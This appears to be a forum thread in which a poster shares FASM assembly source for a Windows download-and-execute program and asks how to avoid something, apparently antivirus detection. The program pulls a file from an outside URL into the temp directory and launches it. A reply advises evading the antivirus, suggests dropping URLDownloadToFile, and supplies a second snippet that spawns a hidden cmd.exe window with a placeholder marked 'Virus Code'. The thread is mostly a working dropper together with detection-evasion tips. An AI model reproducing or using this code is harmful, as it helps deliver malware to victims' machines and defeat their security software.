format PE GUI
entry start

include 'win32ax.inc'                                               ; Win32 API

section '.code' code readable executable

   start:
          invoke lstrcpy, name, name1
         invoke lstrcpy, site, site1
         call get
            call run

                invoke ExitProcess, 0

   get:
            invoke GetTempPath, temp, temp
              invoke lstrcat, temp, name
          invoke lstrcpy, name, temp
          invoke URLDownloadToFile, NULL, site, name, NULL, NULL
              ret

     run:
            invoke ShellExecute, 0, 0,name, 0, 0, SW_SHOW
               ret

section '.data' data readable writeable
        temp    rb 256d
     name    rb 256d
     site    rb 256d

 site1   db      'http://www.thaorius.com/index.html',0
        name1   db      'index.html',0

section '.idata' import data readable writeable

       library kernel32, 'KERNEL32.DLL', \
              shell32, 'SHELL32.DLL', \
                urlmon,'URLMON.DLL'

   import kernel32,\
          ExitProcess, 'ExitProcess',\
             Sleep, 'Sleep',\
         CreateProcess, "CreateProcessA",\
                GetCommandLine, "GetCommandLineA",\
              GetTempPath, "GetTempPathA",\
            lstrcat, "lstrcat",\
             lstrcpy, "lstrcpy"

    import shell32,\
           ShellExecute, "ShellExecuteA"

 import urlmon, URLDownloadToFile, 'URLDownloadToFileA'
    

Any ideas on how to avoid it? Thanks

Thaorius wrote:

Any ideas on how to avoid it?

yep, avoid your antivirus...
don't use URLDownloadToFile api

            
                xor                        esi, esi 
                 
                i                        WinExec, 'cmd.exe', esi 
                 
                i                        FindWindow, 'ConsoleWindowClass', esi 
                                 
                or                        eax, eax 
                 
                je                        _end 
                 
                xchg                    eax, ebx

                ; Virus Code
                 
                i                        SendMessage, ebx, WM_CLOSE, esi, esi 




                _end: 

                         
                i                        ExitProcess, esi